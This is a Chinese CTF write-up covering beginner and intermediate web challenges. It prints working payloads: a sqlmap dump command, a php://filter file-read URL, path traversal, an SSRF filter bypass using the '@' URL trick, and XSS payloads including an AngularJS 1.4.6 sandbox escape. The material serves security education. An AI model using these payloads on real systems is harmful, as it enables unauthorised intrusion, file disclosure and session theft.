[第一章 web入门]常见的搜集
用御剑我只扫出了
image-20210806155438581
再用dirsearch扫
image-20210806155349208
image-20210806162006136
很成功被429坑了一把,/.index.php.swp是可下载文件,
把可访问所得的部分flag拼起来就行
[第一章 web入门]粗心的小李
Git测试
进入GitHack的目录,使用命令 python2 GitHack.py 链接/.git/`
然后提示我们得到了index.html
image-20210808115506391
在这里,访问index.html就行
[第一章 web入门]SQL注入-1
sqli-labs less-1,接近一模一样,手打也行,使用sqlmap,但是flag跑不出来,只有
image-20210808130741560
我不理解,上网搜了一下,使用命令是一样的
1
| python sqlmap.py -u "http://68b6cd14-1ab4-4986-88cd-e5a9462e9ca6.node4.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C fllllag --dump
|
重开靶机就行啦
image-20210808132658791
[第一章 web入门]SQL注入-2
这边是个报错注入
抓一个包分析存一个txt,用sqlmap跑
image-20210810132847381
[第一章 web入门]afr_1
任意文件读取漏洞
原理
PHP向用户提供的指定待打开文件的方式,是一个文件流
PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法
利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码
通用格式如下:
1
| http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd
|
image-20210810135107172
观察url后缀构建payload
1
| /?p=php://filter/convert.base64-encode/resource=flag
|
尝试了一下base32,
image-20210810135411330
image-20210810135530430
把之前使用base64的读取的内容解码,就可以发现读取文件失败的话就会返回nonono
参考:https://blog.csdn.net/weixin_45571987/article/details/110459724
[第一章 web入门]afr_2
image-20210810140003122
有图片的话,应该就和文件相关了
尝试直接读取
image-20210810140051353
可以访问,但试图访问再上一级时会被返回到hello!的界面
使用../
返回到当前目录的上层目录
image-20210810140339556
注:url结尾不能是/img/../会使其访问回首页
[第二章 web进阶]SSRF Training
image-20210810161002195
这边应该该是提示语url有关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php highlight_file(__FILE__); function check_inner_ip($url)//获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址 { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; }
function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } }
$url = $_GET['url']; if(!empty($url)){ safe_request_url($url); }
?>
|
所以这里通过过滤私有ip地址,说明这些ip是可以访问到本地文件的,一个尝试
image-20210810210703595
image-20210810210918335
image-20210810211502018
image-20210810210945384
image-20210810211056001
image-20210810211132563
仔细观察一下可以发现这里通过(:)分隔user和pass,用(@)分隔ip和主机名
image-20210810211826442
这里127.0.0.1之前没有添加@
传入的URL可以为http://@127.0.0.1:80@baidu.com,那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com。
at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。
在这里@是登录名与主机名的分隔符,符号的左边是对方的登录名,右边是完整的主机名,它由主机名与域名组成。
这里检查的ip是百度的ip但是在实际执行的ip则是127.0.0.1,从而成功读取flag.php,而在127.0.0.1前加一个@就是为了在后面执行程序的时候能够成功访问靶机。
[第二章 web进阶]XSS闯关
貌似get了一个暴力破解方法
image-20210811152010621
把level1改成level7就行
level1
image-20210820192925108
直接输入就行,这里没有做任何防护
level2
image-20210820193523130由于escape()的缘故,直接使用alert(1),根据这里的源码使用单引号和分号结束前后语句,后面也可以用//把后面的语句注释掉
image-20210820195545896
或者
我们就可以得到
1 2 3 4
| var username = '';alert(1) var username = '';alert(1) var username = '';alert(1); var username = '';alert(1);'
|
这四种均可成功绕过
level3
image-20210820202845480
单引号被注释了
image-20210820203617455
你会发现它只注释了一个单引号,那把level2的payload改改就行
image-20210820203755724
level4
image-20210820203929887
重定向,构造如图所示payload,浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。然后等个十秒就行。
level5
image-20210820205444847
这个表单无论你提交什么都不行,因为你不是自动提交
在这里需要满足这两点
1 2 3
| if(getQueryVariable('autosubmit') !== false){
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
|
那就给autosubmit传一个值,通过action传一个弹窗语句,逻辑同level4,payload如下
1
| ?autosubmit=1&action=javascript:alert(1)
|
level6
表面上平平无奇,f12看了个寂寞
尝试输入
1
| <script>alert(1)</script>
|
,发现对左尖括号<进行了html实体编码:
img
其实是模板XSS,这里的模板是AngularJS 1.4.6
逃逸方法:https://xz.aliyun.com/t/4638
1
| {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
参考:https://blog.csdn.net/rfrder/article/details/108930033